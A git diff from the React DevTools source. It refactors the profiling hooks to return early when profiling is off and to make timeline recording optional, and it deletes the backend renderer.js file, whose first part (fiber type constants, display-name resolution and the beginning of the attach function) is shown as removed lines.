-    if (isProfiling || supportsUserTimingV3) {
-      const componentName = getDisplayNameForFiber(fiber) || 'Unknown';
+    if (!isProfiling) {
+      return;
+    }
 
-      if (isProfiling) {
-        // TODO (timeline) Record and cache component stack
-        if (currentTimelineData) {
-          currentTimelineData.schedulingEvents.push({
-            componentName,
-            lanes: laneToLanesArray(lane),
-            timestamp: getRelativeTime(),
-            type: 'schedule-force-update',
-            warning: null,
-          });
-        }
-      }
+    const componentName = getDisplayNameForFiber(fiber) || 'Unknown';
 
-      if (supportsUserTimingV3) {
-        markAndClear(`--schedule-forced-update-${lane}-${componentName}`);
-      }
+    // TODO (timeline) Record and cache component stack
+    if (currentTimelineData) {
+      currentTimelineData.schedulingEvents.push({
+        componentName,
+        lanes: laneToLanesArray(lane),
+        timestamp: getRelativeTime(),
+        type: 'schedule-force-update',
+        warning: null,
+      });
+    }
+
+    if (supportsUserTimingV3) {
+      markAndClear(`--schedule-forced-update-${lane}-${componentName}`);
     }
   }
 
@@ -809,34 +824,37 @@ export function createProfilingHooks({
   }
 
   function markStateUpdateScheduled(fiber: Fiber, lane: Lane): void {
-    if (isProfiling || supportsUserTimingV3) {
-      const componentName = getDisplayNameForFiber(fiber) || 'Unknown';
+    if (!isProfiling) {
+      return;
+    }
 
-      if (isProfiling) {
-        // TODO (timeline) Record and cache component stack
-        if (currentTimelineData) {
-          const event: ReactScheduleStateUpdateEvent = {
-            componentName,
-            // Store the parent fibers so we can post process
-            // them after we finish profiling
-            lanes: laneToLanesArray(lane),
-            timestamp: getRelativeTime(),
-            type: 'schedule-state-update',
-            warning: null,
-          };
-          currentFiberStacks.set(event, getParentFibers(fiber));
-          // $FlowFixMe[incompatible-use] found when upgrading Flow
-          currentTimelineData.schedulingEvents.push(event);
-        }
-      }
+    const componentName = getDisplayNameForFiber(fiber) || 'Unknown';
 
-      if (supportsUserTimingV3) {
-        markAndClear(`--schedule-state-update-${lane}-${componentName}`);
-      }
+    // TODO (timeline) Record and cache component stack
+    if (currentTimelineData) {
+      const event: ReactScheduleStateUpdateEvent = {
+        componentName,
+        // Store the parent fibers so we can post process
+        // them after we finish profiling
+        lanes: laneToLanesArray(lane),
+        timestamp: getRelativeTime(),
+        type: 'schedule-state-update',
+        warning: null,
+      };
+      currentFiberStacks.set(event, getParentFibers(fiber));
+      // $FlowFixMe[incompatible-use] found when upgrading Flow
+      currentTimelineData.schedulingEvents.push(event);
+    }
+
+    if (supportsUserTimingV3) {
+      markAndClear(`--schedule-state-update-${lane}-${componentName}`);
     }
   }
 
-  function toggleProfilingStatus(value: boolean) {
+  function toggleProfilingStatus(
+    value: boolean,
+    recordTimeline: boolean = false,
+  ) {
     if (isProfiling !== value) {
       isProfiling = value;
 
@@ -872,34 +890,45 @@ export function createProfilingHooks({
         currentReactComponentMeasure = null;
         currentReactMeasuresStack = [];
         currentFiberStacks = new Map();
-        currentTimelineData = {
-          // Session wide metadata; only collected once.
-          internalModuleSourceToRanges,
-          laneToLabelMap: laneToLabelMap || new Map(),
-          reactVersion,
-
-          // Data logged by React during profiling session.
-          componentMeasures: [],
-          schedulingEvents: [],
-          suspenseEvents: [],
-          thrownErrors: [],
-
-          // Data inferred based on what React logs.
-          batchUIDToMeasuresMap: new Map(),
-          duration: 0,
-          laneToReactMeasureMap,
-          startTime: 0,
-
-          // Data only available in Chrome profiles.
-          flamechart: [],
-          nativeEvents: [],
-          networkMeasures: [],
-          otherUserTimingMarks: [],
-          snapshots: [],
-          snapshotHeight: 0,
-        };
+        if (recordTimeline) {
+          currentTimelineData = {
+            // Session wide metadata; only collected once.
+            internalModuleSourceToRanges,
+            laneToLabelMap: laneToLabelMap || new Map(),
+            reactVersion,
+
+            // Data logged by React during profiling session.
+            componentMeasures: [],
+            schedulingEvents: [],
+            suspenseEvents: [],
+            thrownErrors: [],
+
+            // Data inferred based on what React logs.
+            batchUIDToMeasuresMap: new Map(),
+            duration: 0,
+            laneToReactMeasureMap,
+            startTime: 0,
+
+            // Data only available in Chrome profiles.
+            flamechart: [],
+            nativeEvents: [],
+            networkMeasures: [],
+            otherUserTimingMarks: [],
+            snapshots: [],
+            snapshotHeight: 0,
+          };
+        }
         nextRenderShouldStartNewBatch = true;
       } else {
+        // This is __EXPENSIVE__.
+        // We could end up with hundreds of state updated, and for each one of them
+        // would try to create a component stack with possibly hundreds of Fibers.
+        // Creating a cache of component stacks won't help, generating a single stack is already expensive enough.
+        // We should find a way to lazily generate component stacks on demand, when user inspects a specific event.
+        // If we succeed with moving React DevTools Timeline Profiler to Performance panel, then Timeline Profiler would probably be removed.
+        // Now that owner stacks are adopted, revisit this again and cache component stacks per Fiber,
+        // but only return them when needed, sending hundreds of component stacks is beyond the Bridge's bandwidth.
+
         // Postprocess Profile data
         if (currentTimelineData !== null) {
           currentTimelineData.schedulingEvents.forEach(event => {
diff --git a/packages/react-devtools-shared/src/backend/renderer.js b/packages/react-devtools-shared/src/backend/renderer.js
deleted file mode 100644
index fa2b098a81dc..000000000000
--- a/packages/react-devtools-shared/src/backend/renderer.js
+++ /dev/null
@@ -1,4687 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-import {
-  ComponentFilterDisplayName,
-  ComponentFilterElementType,
-  ComponentFilterHOC,
-  ComponentFilterLocation,
-  ElementTypeClass,
-  ElementTypeContext,
-  ElementTypeFunction,
-  ElementTypeForwardRef,
-  ElementTypeHostComponent,
-  ElementTypeMemo,
-  ElementTypeOtherOrUnknown,
-  ElementTypeProfiler,
-  ElementTypeRoot,
-  ElementTypeSuspense,
-  ElementTypeSuspenseList,
-  ElementTypeTracingMarker,
-  StrictMode,
-} from 'react-devtools-shared/src/frontend/types';
-import {
-  deletePathInObject,
-  getDisplayName,
-  getWrappedDisplayName,
-  getDefaultComponentFilters,
-  getInObject,
-  getUID,
-  renamePathInObject,
-  setInObject,
-  utfEncodeString,
-  filterOutLocationComponentFilters,
-} from 'react-devtools-shared/src/utils';
-import {sessionStorageGetItem} from 'react-devtools-shared/src/storage';
-import {
-  formatConsoleArgumentsToSingleString,
-  gt,
-  gte,
-  parseSourceFromComponentStack,
-  serializeToString,
-} from 'react-devtools-shared/src/backend/utils';
-import {
-  cleanForBridge,
-  copyWithDelete,
-  copyWithRename,
-  copyWithSet,
-  getEffectDurations,
-} from './utils';
-import {
-  __DEBUG__,
-  PROFILING_FLAG_BASIC_SUPPORT,
-  PROFILING_FLAG_TIMELINE_SUPPORT,
-  SESSION_STORAGE_RELOAD_AND_PROFILE_KEY,
-  SESSION_STORAGE_RECORD_CHANGE_DESCRIPTIONS_KEY,
-  TREE_OPERATION_ADD,
-  TREE_OPERATION_REMOVE,
-  TREE_OPERATION_REMOVE_ROOT,
-  TREE_OPERATION_REORDER_CHILDREN,
-  TREE_OPERATION_SET_SUBTREE_MODE,
-  TREE_OPERATION_UPDATE_ERRORS_OR_WARNINGS,
-  TREE_OPERATION_UPDATE_TREE_BASE_DURATION,
-} from '../constants';
-import {inspectHooksOfFiber} from 'react-debug-tools';
-import {
-  patchConsoleUsingWindowValues,
-  registerRenderer as registerRendererWithConsole,
-  patchForStrictMode as patchConsoleForStrictMode,
-  unpatchForStrictMode as unpatchConsoleForStrictMode,
-} from './console';
-import {
-  CONCURRENT_MODE_NUMBER,
-  CONCURRENT_MODE_SYMBOL_STRING,
-  DEPRECATED_ASYNC_MODE_SYMBOL_STRING,
-  PROVIDER_NUMBER,
-  PROVIDER_SYMBOL_STRING,
-  CONTEXT_NUMBER,
-  CONTEXT_SYMBOL_STRING,
-  CONSUMER_SYMBOL_STRING,
-  STRICT_MODE_NUMBER,
-  STRICT_MODE_SYMBOL_STRING,
-  PROFILER_NUMBER,
-  PROFILER_SYMBOL_STRING,
-  REACT_MEMO_CACHE_SENTINEL,
-  SCOPE_NUMBER,
-  SCOPE_SYMBOL_STRING,
-  FORWARD_REF_NUMBER,
-  FORWARD_REF_SYMBOL_STRING,
-  MEMO_NUMBER,
-  MEMO_SYMBOL_STRING,
-  SERVER_CONTEXT_SYMBOL_STRING,
-} from './ReactSymbols';
-import {enableStyleXFeatures} from 'react-devtools-feature-flags';
-import is from 'shared/objectIs';
-import hasOwnProperty from 'shared/hasOwnProperty';
-import {getStyleXData} from './StyleX/utils';
-import {createProfilingHooks} from './profilingHooks';
-
-import type {GetTimelineData, ToggleProfilingStatus} from './profilingHooks';
-import type {Fiber} from 'react-reconciler/src/ReactInternalTypes';
-import type {
-  ChangeDescription,
-  CommitDataBackend,
-  DevToolsHook,
-  InspectedElement,
-  InspectedElementPayload,
-  InstanceAndStyle,
-  NativeType,
-  PathFrame,
-  PathMatch,
-  ProfilingDataBackend,
-  ProfilingDataForRootBackend,
-  ReactRenderer,
-  RendererInterface,
-  SerializedElement,
-  WorkTagMap,
-  CurrentDispatcherRef,
-  LegacyDispatcherRef,
-} from './types';
-import type {
-  ComponentFilter,
-  ElementType,
-  Plugins,
-} from 'react-devtools-shared/src/frontend/types';
-import type {Source} from 'react-devtools-shared/src/shared/types';
-import {getStackByFiberInDevAndProd} from './DevToolsFiberComponentStack';
-
-type getDisplayNameForFiberType = (fiber: Fiber) => string | null;
-type getTypeSymbolType = (type: any) => symbol | number;
-
-type ReactPriorityLevelsType = {
-  ImmediatePriority: number,
-  UserBlockingPriority: number,
-  NormalPriority: number,
-  LowPriority: number,
-  IdlePriority: number,
-  NoPriority: number,
-};
-
-export function getDispatcherRef(renderer: {
-  +currentDispatcherRef?: LegacyDispatcherRef | CurrentDispatcherRef,
-  ...
-}): void | CurrentDispatcherRef {
-  if (renderer.currentDispatcherRef === undefined) {
-    return undefined;
-  }
-  const injectedRef = renderer.currentDispatcherRef;
-  if (
-    typeof injectedRef.H === 'undefined' &&
-    typeof injectedRef.current !== 'undefined'
-  ) {
-    // We got a legacy dispatcher injected, let's create a wrapper proxy to translate.
-    return {
-      get H() {
-        return (injectedRef: any).current;
-      },
-      set H(value) {
-        (injectedRef: any).current = value;
-      },
-    };
-  }
-  return (injectedRef: any);
-}
-
-function getFiberFlags(fiber: Fiber): number {
-  // The name of this field changed from "effectTag" to "flags"
-  return fiber.flags !== undefined ? fiber.flags : (fiber: any).effectTag;
-}
-
-// Some environments (e.g. React Native / Hermes) don't support the performance API yet.
-const getCurrentTime =
-  // $FlowFixMe[method-unbinding]
-  typeof performance === 'object' && typeof performance.now === 'function'
-    ? () => performance.now()
-    : () => Date.now();
-
-export function getInternalReactConstants(version: string): {
-  getDisplayNameForFiber: getDisplayNameForFiberType,
-  getTypeSymbol: getTypeSymbolType,
-  ReactPriorityLevels: ReactPriorityLevelsType,
-  ReactTypeOfWork: WorkTagMap,
-  StrictModeBits: number,
-} {
-  // **********************************************************
-  // The section below is copied from files in React repo.
-  // Keep it in sync, and add version guards if it changes.
-  //
-  // Technically these priority levels are invalid for versions before 16.9,
-  // but 16.9 is the first version to report priority level to DevTools,
-  // so we can avoid checking for earlier versions and support pre-16.9 canary releases in the process.
-  let ReactPriorityLevels: ReactPriorityLevelsType = {
-    ImmediatePriority: 99,
-    UserBlockingPriority: 98,
-    NormalPriority: 97,
-    LowPriority: 96,
-    IdlePriority: 95,
-    NoPriority: 90,
-  };
-
-  if (gt(version, '17.0.2')) {
-    ReactPriorityLevels = {
-      ImmediatePriority: 1,
-      UserBlockingPriority: 2,
-      NormalPriority: 3,
-      LowPriority: 4,
-      IdlePriority: 5,
-      NoPriority: 0,
-    };
-  }
-
-  let StrictModeBits = 0;
-  if (gte(version, '18.0.0-alpha')) {
-    // 18+
-    StrictModeBits = 0b011000;
-  } else if (gte(version, '16.9.0')) {
-    // 16.9 - 17
-    StrictModeBits = 0b1;
-  } else if (gte(version, '16.3.0')) {
-    // 16.3 - 16.8
-    StrictModeBits = 0b10;
-  }
-
-  let ReactTypeOfWork: WorkTagMap = ((null: any): WorkTagMap);
-
-  // **********************************************************
-  // The section below is copied from files in React repo.
-  // Keep it in sync, and add version guards if it changes.
-  //
-  // TODO Update the gt() check below to be gte() whichever the next version number is.
-  // Currently the version in Git is 17.0.2 (but that version has not been/may not end up being released).
-  if (gt(version, '17.0.1')) {
-    ReactTypeOfWork = {
-      CacheComponent: 24, // Experimental
-      ClassComponent: 1,
-      ContextConsumer: 9,
-      ContextProvider: 10,
-      CoroutineComponent: -1, // Removed
-      CoroutineHandlerPhase: -1, // Removed
-      DehydratedSuspenseComponent: 18, // Behind a flag
-      ForwardRef: 11,
-      Fragment: 7,
-      FunctionComponent: 0,
-      HostComponent: 5,
-      HostPortal: 4,
-      HostRoot: 3,
-      HostHoistable: 26, // In reality, 18.2+. But doesn't hurt to include it here
-      HostSingleton: 27, // Same as above
-      HostText: 6,
-      IncompleteClassComponent: 17,
-      IncompleteFunctionComponent: 28,
-      IndeterminateComponent: 2, // removed in 19.0.0
-      LazyComponent: 16,
-      LegacyHiddenComponent: 23,
-      MemoComponent: 14,
-      Mode: 8,
-      OffscreenComponent: 22, // Experimental
-      Profiler: 12,
-      ScopeComponent: 21, // Experimental
-      SimpleMemoComponent: 15,
-      SuspenseComponent: 13,
-      SuspenseListComponent: 19, // Experimental
-      TracingMarkerComponent: 25, // Experimental - This is technically in 18 but we don't
-      // want to fork again so we're adding it here instead
-      YieldComponent: -1, // Removed
-      Throw: 29,
-    };
-  } else if (gte(version, '17.0.0-alpha')) {
-    ReactTypeOfWork = {
-      CacheComponent: -1, // Doesn't exist yet
-      ClassComponent: 1,
-      ContextConsumer: 9,
-      ContextProvider: 10,
-      CoroutineComponent: -1, // Removed
-      CoroutineHandlerPhase: -1, // Removed
-      DehydratedSuspenseComponent: 18, // Behind a flag
-      ForwardRef: 11,
-      Fragment: 7,
-      FunctionComponent: 0,
-      HostComponent: 5,
-      HostPortal: 4,
-      HostRoot: 3,
-      HostHoistable: -1, // Doesn't exist yet
-      HostSingleton: -1, // Doesn't exist yet
-      HostText: 6,
-      IncompleteClassComponent: 17,
-      IncompleteFunctionComponent: -1, // Doesn't exist yet
-      IndeterminateComponent: 2,
-      LazyComponent: 16,
-      LegacyHiddenComponent: 24,
-      MemoComponent: 14,
-      Mode: 8,
-      OffscreenComponent: 23, // Experimental
-      Profiler: 12,
-      ScopeComponent: 21, // Experimental
-      SimpleMemoComponent: 15,
-      SuspenseComponent: 13,
-      SuspenseListComponent: 19, // Experimental
-      TracingMarkerComponent: -1, // Doesn't exist yet
-      YieldComponent: -1, // Removed
-      Throw: -1, // Doesn't exist yet
-    };
-  } else if (gte(version, '16.6.0-beta.0')) {
-    ReactTypeOfWork = {
-      CacheComponent: -1, // Doesn't exist yet
-      ClassComponent: 1,
-      ContextConsumer: 9,
-      ContextProvider: 10,
-      CoroutineComponent: -1, // Removed
-      CoroutineHandlerPhase: -1, // Removed
-      DehydratedSuspenseComponent: 18, // Behind a flag
-      ForwardRef: 11,
-      Fragment: 7,
-      FunctionComponent: 0,
-      HostComponent: 5,
-      HostPortal: 4,
-      HostRoot: 3,
-      HostHoistable: -1, // Doesn't exist yet
-      HostSingleton: -1, // Doesn't exist yet
-      HostText: 6,
-      IncompleteClassComponent: 17,
-      IncompleteFunctionComponent: -1, // Doesn't exist yet
-      IndeterminateComponent: 2,
-      LazyComponent: 16,
-      LegacyHiddenComponent: -1,
-      MemoComponent: 14,
-      Mode: 8,
-      OffscreenComponent: -1, // Experimental
-      Profiler: 12,
-      ScopeComponent: -1, // Experimental
-      SimpleMemoComponent: 15,
-      SuspenseComponent: 13,
-      SuspenseListComponent: 19, // Experimental
-      TracingMarkerComponent: -1, // Doesn't exist yet
-      YieldComponent: -1, // Removed
-      Throw: -1, // Doesn't exist yet
-    };
-  } else if (gte(version, '16.4.3-alpha')) {
-    ReactTypeOfWork = {
-      CacheComponent: -1, // Doesn't exist yet
-      ClassComponent: 2,
-      ContextConsumer: 11,
-      ContextProvider: 12,
-      CoroutineComponent: -1, // Removed
-      CoroutineHandlerPhase: -1, // Removed
-      DehydratedSuspenseComponent: -1, // Doesn't exist yet
-      ForwardRef: 13,
-      Fragment: 9,
-      FunctionComponent: 0,
-      HostComponent: 7,
-      HostPortal: 6,
-      HostRoot: 5,
-      HostHoistable: -1, // Doesn't exist yet
-      HostSingleton: -1, // Doesn't exist yet
-      HostText: 8,
-      IncompleteClassComponent: -1, // Doesn't exist yet
-      IncompleteFunctionComponent: -1, // Doesn't exist yet
-      IndeterminateComponent: 4,
-      LazyComponent: -1, // Doesn't exist yet
-      LegacyHiddenComponent: -1,
-      MemoComponent: -1, // Doesn't exist yet
-      Mode: 10,
-      OffscreenComponent: -1, // Experimental
-      Profiler: 15,
-      ScopeComponent: -1, // Experimental
-      SimpleMemoComponent: -1, // Doesn't exist yet
-      SuspenseComponent: 16,
-      SuspenseListComponent: -1, // Doesn't exist yet
-      TracingMarkerComponent: -1, // Doesn't exist yet
-      YieldComponent: -1, // Removed
-      Throw: -1, // Doesn't exist yet
-    };
-  } else {
-    ReactTypeOfWork = {
-      CacheComponent: -1, // Doesn't exist yet
-      ClassComponent: 2,
-      ContextConsumer: 12,
-      ContextProvider: 13,
-      CoroutineComponent: 7,
-      CoroutineHandlerPhase: 8,
-      DehydratedSuspenseComponent: -1, // Doesn't exist yet
-      ForwardRef: 14,
-      Fragment: 10,
-      FunctionComponent: 1,
-      HostComponent: 5,
-      HostPortal: 4,
-      HostRoot: 3,
-      HostHoistable: -1, // Doesn't exist yet
-      HostSingleton: -1, // Doesn't exist yet
-      HostText: 6,
-      IncompleteClassComponent: -1, // Doesn't exist yet
-      IncompleteFunctionComponent: -1, // Doesn't exist yet
-      IndeterminateComponent: 0,
-      LazyComponent: -1, // Doesn't exist yet
-      LegacyHiddenComponent: -1,
-      MemoComponent: -1, // Doesn't exist yet
-      Mode: 11,
-      OffscreenComponent: -1, // Experimental
-      Profiler: 15,
-      ScopeComponent: -1, // Experimental
-      SimpleMemoComponent: -1, // Doesn't exist yet
-      SuspenseComponent: 16,
-      SuspenseListComponent: -1, // Doesn't exist yet
-      TracingMarkerComponent: -1, // Doesn't exist yet
-      YieldComponent: 9,
-      Throw: -1, // Doesn't exist yet
-    };
-  }
-  // **********************************************************
-  // End of copied code.
-  // **********************************************************
-
-  function getTypeSymbol(type: any): symbol | number {
-    const symbolOrNumber =
-      typeof type === 'object' && type !== null ? type.$$typeof : type;
-
-    return typeof symbolOrNumber === 'symbol'
-      ? // $FlowFixMe[incompatible-return] `toString()` doesn't match the type signature?
-        symbolOrNumber.toString()
-      : symbolOrNumber;
-  }
-
-  const {
-    CacheComponent,
-    ClassComponent,
-    IncompleteClassComponent,
-    IncompleteFunctionComponent,
-    FunctionComponent,
-    IndeterminateComponent,
-    ForwardRef,
-    HostRoot,
-    HostHoistable,
-    HostSingleton,
-    HostComponent,
-    HostPortal,
-    HostText,
-    Fragment,
-    LazyComponent,
-    LegacyHiddenComponent,
-    MemoComponent,
-    OffscreenComponent,
-    Profiler,
-    ScopeComponent,
-    SimpleMemoComponent,
-    SuspenseComponent,
-    SuspenseListComponent,
-    TracingMarkerComponent,
-    Throw,
-  } = ReactTypeOfWork;
-
-  function resolveFiberType(type: any): $FlowFixMe {
-    const typeSymbol = getTypeSymbol(type);
-    switch (typeSymbol) {
-      case MEMO_NUMBER:
-      case MEMO_SYMBOL_STRING:
-        // recursively resolving memo type in case of memo(forwardRef(Component))
-        return resolveFiberType(type.type);
-      case FORWARD_REF_NUMBER:
-      case FORWARD_REF_SYMBOL_STRING:
-        return type.render;
-      default:
-        return type;
-    }
-  }
-
-  // NOTICE Keep in sync with shouldFilterFiber() and other get*ForFiber methods
-  function getDisplayNameForFiber(
-    fiber: Fiber,
-    shouldSkipForgetCheck: boolean = false,
-  ): string | null {
-    const {elementType, type, tag} = fiber;
-
-    let resolvedType = type;
-    if (typeof type === 'object' && type !== null) {
-      resolvedType = resolveFiberType(type);
-    }
-
-    let resolvedContext: any = null;
-    if (
-      !shouldSkipForgetCheck &&
-      // $FlowFixMe[incompatible-type] fiber.updateQueue is mixed
-      (fiber.updateQueue?.memoCache != null ||
-        fiber.memoizedState?.memoizedState?.[REACT_MEMO_CACHE_SENTINEL])
-    ) {
-      const displayNameWithoutForgetWrapper = getDisplayNameForFiber(
-        fiber,
-        true,
-      );
-      if (displayNameWithoutForgetWrapper == null) {
-        return null;
-      }
-
-      return `Forget(${displayNameWithoutForgetWrapper})`;
-    }
-
-    switch (tag) {
-      case CacheComponent:
-        return 'Cache';
-      case ClassComponent:
-      case IncompleteClassComponent:
-      case IncompleteFunctionComponent:
-      case FunctionComponent:
-      case IndeterminateComponent:
-        return getDisplayName(resolvedType);
-      case ForwardRef:
-        return getWrappedDisplayName(
-          elementType,
-          resolvedType,
-          'ForwardRef',
-          'Anonymous',
-        );
-      case HostRoot:
-        const fiberRoot = fiber.stateNode;
-        if (fiberRoot != null && fiberRoot._debugRootType !== null) {
-          return fiberRoot._debugRootType;
-        }
-        return null;
-      case HostComponent:
-      case HostSingleton:
-      case HostHoistable:
-        return type;
-      case HostPortal:
-      case HostText:
-        return null;
-      case Fragment:
-        return 'Fragment';
-      case LazyComponent:
-        // This display name will not be user visible.
-        // Once a Lazy component loads its inner component, React replaces the tag and type.
-        // This display name will only show up in console logs when DevTools DEBUG mode is on.
-        return 'Lazy';
-      case MemoComponent:
-      case SimpleMemoComponent:
-        // Display name in React does not use `Memo` as a wrapper but fallback name.
-        return getWrappedDisplayName(
-          elementType,
-          resolvedType,
-          'Memo',
-          'Anonymous',
-        );
-      case SuspenseComponent:
-        return 'Suspense';
-      case LegacyHiddenComponent:
-        return 'LegacyHidden';
-      case OffscreenComponent:
-        return 'Offscreen';
-      case ScopeComponent:
-        return 'Scope';
-      case SuspenseListComponent:
-        return 'SuspenseList';
-      case Profiler:
-        return 'Profiler';
-      case TracingMarkerComponent:
-        return 'TracingMarker';
-      case Throw:
-        // This should really never be visible.
-        return 'Error';
-      default:
-        const typeSymbol = getTypeSymbol(type);
-
-        switch (typeSymbol) {
-          case CONCURRENT_MODE_NUMBER:
-          case CONCURRENT_MODE_SYMBOL_STRING:
-          case DEPRECATED_ASYNC_MODE_SYMBOL_STRING:
-            return null;
-          case PROVIDER_NUMBER:
-          case PROVIDER_SYMBOL_STRING:
-            // 16.3.0 exposed the context object as "context"
-            // PR #12501 changed it to "_context" for 16.3.1+
-            // NOTE Keep in sync with inspectElementRaw()
-            resolvedContext = fiber.type._context || fiber.type.context;
-            return `${resolvedContext.displayName || 'Context'}.Provider`;
-          case CONTEXT_NUMBER:
-          case CONTEXT_SYMBOL_STRING:
-          case SERVER_CONTEXT_SYMBOL_STRING:
-            if (
-              fiber.type._context === undefined &&
-              fiber.type.Provider === fiber.type
-            ) {
-              // In 19+, Context.Provider === Context, so this is a provider.
-              resolvedContext = fiber.type;
-              return `${resolvedContext.displayName || 'Context'}.Provider`;
-            }
-
-            // 16.3-16.5 read from "type" because the Consumer is the actual context object.
-            // 16.6+ should read from "type._context" because Consumer can be different (in DEV).
-            // NOTE Keep in sync with inspectElementRaw()
-            resolvedContext = fiber.type._context || fiber.type;
-
-            // NOTE: TraceUpdatesBackendManager depends on the name ending in '.Consumer'
-            // If you change the name, figure out a more resilient way to detect it.
-            return `${resolvedContext.displayName || 'Context'}.Consumer`;
-          case CONSUMER_SYMBOL_STRING:
-            // 19+
-            resolvedContext = fiber.type._context;
-            return `${resolvedContext.displayName || 'Context'}.Consumer`;
-          case STRICT_MODE_NUMBER:
-          case STRICT_MODE_SYMBOL_STRING:
-            return null;
-          case PROFILER_NUMBER:
-          case PROFILER_SYMBOL_STRING:
-            return `Profiler(${fiber.memoizedProps.id})`;
-          case SCOPE_NUMBER:
-          case SCOPE_SYMBOL_STRING:
-            return 'Scope';
-          default:
-            // Unknown element type.
-            // This may mean a new element type that has not yet been added to DevTools.
-            return null;
-        }
-    }
-  }
-
-  return {
-    getDisplayNameForFiber,
-    getTypeSymbol,
-    ReactPriorityLevels,
-    ReactTypeOfWork,
-    StrictModeBits,
-  };
-}
-
-// Map of one or more Fibers in a pair to their unique id number.
-// We track both Fibers to support Fast Refresh,
-// which may forcefully replace one of the pair as part of hot reloading.
-// In that case it's still important to be able to locate the previous ID during subsequent renders.
-const fiberToIDMap: Map<Fiber, number> = new Map();
-
-// Map of id to one (arbitrary) Fiber in a pair.
-// This Map is used to e.g. get the display name for a Fiber or schedule an update,
-// operations that should be the same whether the current and work-in-progress Fiber is used.
-const idToArbitraryFiberMap: Map<number, Fiber> = new Map();
-
-const fiberToComponentStackMap: WeakMap<Fiber, string> = new WeakMap();
-
-export function attach(
-  hook: DevToolsHook,
-  rendererID: number,
-  renderer: ReactRenderer,
-  global: Object,
-): RendererInterface {
-  // Newer versions of the reconciler package also specific reconciler version.
-  // If that version number is present, use it.
-  // Third party renderer versions may not match the reconciler version,
-  // and the latter is what's important in terms of tags and symbols.
-  const version = renderer.reconcilerVersion || renderer.version;
-
-  const {
-    getDisplayNameForFiber,
-    getTypeSymbol,
-    ReactPriorityLevels,
-    ReactTypeOfWork,
-    StrictModeBits,
-  } = getInternalReactConstants(version);
-  const {
-    CacheComponent,
-    ClassComponent,
-    ContextConsumer,
-    DehydratedSuspenseComponent,
-    ForwardRef,
-    Fragment,
-    FunctionComponent,
-    HostRoot,
-    HostHoistable,
-    HostSingleton,
-    HostPortal,
-    HostComponent,
-    HostText,
-    IncompleteClassComponent,
-    IncompleteFunctionComponent,
-    IndeterminateComponent,
-    LegacyHiddenComponent,
-    MemoComponent,
-    OffscreenComponent,
-    SimpleMemoComponent,
-    SuspenseComponent,
-    SuspenseListComponent,
-    TracingMarkerComponent,
-    Throw,
-  } = ReactTypeOfWork;
-  const {
-    ImmediatePriority,
-    UserBlockingPriority,
-    NormalPriority,
-    LowPriority,
-    IdlePriority,
-    NoPriority,
-  } = ReactPriorityLevels;
-
-  const {
-    getLaneLabelMap,
-    injectProfilingHooks,
-    overrideHookState,
-    overrideHookStateDeletePath,
-    overrideHookStateRenamePath,
-    overrideProps,
-    overridePropsDeletePath,
-    overridePropsRenamePath,
-    scheduleRefresh,
-    setErrorHandler,
-    setSuspenseHandler,
-    scheduleUpdate,
-  } = renderer;
-  const supportsTogglingError =
-    typeof setErrorHandler === 'function' &&
-    typeof scheduleUpdate === 'function';
-  const supportsTogglingSuspense =
-    typeof setSuspenseHandler === 'function' &&
-    typeof scheduleUpdate === 'function';
-
-  if (typeof scheduleRefresh === 'function') {
-    // When Fast Refresh updates a component, the frontend may need to purge cached information.
-    // For example, ASTs cached for the component (for named hooks) may no longer be valid.
-    // Send a signal to the frontend to purge this cached information.
-    // The "fastRefreshScheduled" dispatched is global (not Fiber or even Renderer specific).
-    // This is less effecient since it means the front-end will need to purge the entire cache,
-    // but this is probably an okay trade off in order to reduce coupling between the DevTools and Fast Refresh.
-    renderer.scheduleRefresh = (...args) => {
-      try {
-        hook.emit('fastRefreshScheduled');
-      } finally {
-        return scheduleRefresh(...args);
-      }
-    };
-  }
-
-  let getTimelineData: null | GetTimelineData = null;
-  let toggleProfilingStatus: null | ToggleProfilingStatus = null;
-  if (typeof injectProfilingHooks === 'function') {
-    const response = createProfilingHooks({
-      getDisplayNameForFiber,
-      getIsProfiling: () => isProfiling,
-      getLaneLabelMap,
-      currentDispatcherRef: getDispatcherRef(renderer),
-      workTagMap: ReactTypeOfWork,
-      reactVersion: version,
-    });
-
-    // Pass the Profiling hooks to the reconciler for it to call during render.
-    injectProfilingHooks(response.profilingHooks);
-
-    // Hang onto this toggle so we can notify the external methods of profiling status changes.
-    getTimelineData = response.getTimelineData;
-    toggleProfilingStatus = response.toggleProfilingStatus;
-  }
-
-  // Tracks Fibers with recently changed number of error/warning messages.
-  // These collections store the Fiber rather than the ID,
-  // in order to avoid generating an ID for Fibers that never get mounted
-  // (due to e.g. Suspense or error boundaries).
-  // onErrorOrWarning() adds Fibers and recordPendingErrorsAndWarnings() later clears them.
-  const fibersWithChangedErrorOrWarningCounts: Set<Fiber> = new Set();
-  const pendingFiberToErrorsMap: Map<Fiber, Map<string, number>> = new Map();
-  const pendingFiberToWarningsMap: Map<Fiber, Map<string, number>> = new Map();
-
-  // Mapping of fiber IDs to error/warning messages and counts.
-  const fiberIDToErrorsMap: Map<number, Map<string, number>> = new Map();
-  const fiberIDToWarningsMap: Map<number, Map<string, number>> = new Map();
-
-  function clearErrorsAndWarnings() {
-    // eslint-disable-next-line no-for-of-loops/no-for-of-loops
-    for (const id of fiberIDToErrorsMap.keys()) {
-      const fiber = idToArbitraryFiberMap.get(id);
-      if (fiber != null) {
-        fibersWithChangedErrorOrWarningCounts.add(fiber);
-        updateMostRecentlyInspectedElementIfNecessary(id);
-      }
-    }
-
-    // eslint-disable-next-line no-for-of-loops/no-for-of-loops
-    for (const id of fiberIDToWarningsMap.keys()) {
-      const fiber = idToArbitraryFiberMap.get(id);
-      if (fiber != null) {
-        fibersWithChangedErrorOrWarningCounts.add(fiber);
-        updateMostRecentlyInspectedElementIfNecessary(id);
-      }
-    }
-
-    fiberIDToErrorsMap.clear();
-    fiberIDToWarningsMap.clear();
-
-    flushPendingEvents();
-  }
-
-  function clearMessageCountHelper(
-    fiberID: number,
-    pendingFiberToMessageCountMap: Map<Fiber, Map<string, number>>,
-    fiberIDToMessageCountMap: Map<number, Map<string, number>>,
-  ) {
-    const fiber = idToArbitraryFiberMap.get(fiberID);
-    if (fiber != null) {
-      // Throw out any pending changes.
-      pendingFiberToErrorsMap.delete(fiber);
-
-      if (fiberIDToMessageCountMap.has(fiberID)) {
-        fiberIDToMessageCountMap.delete(fiberID);
-
-        // If previous flushed counts have changed, schedule an update too.
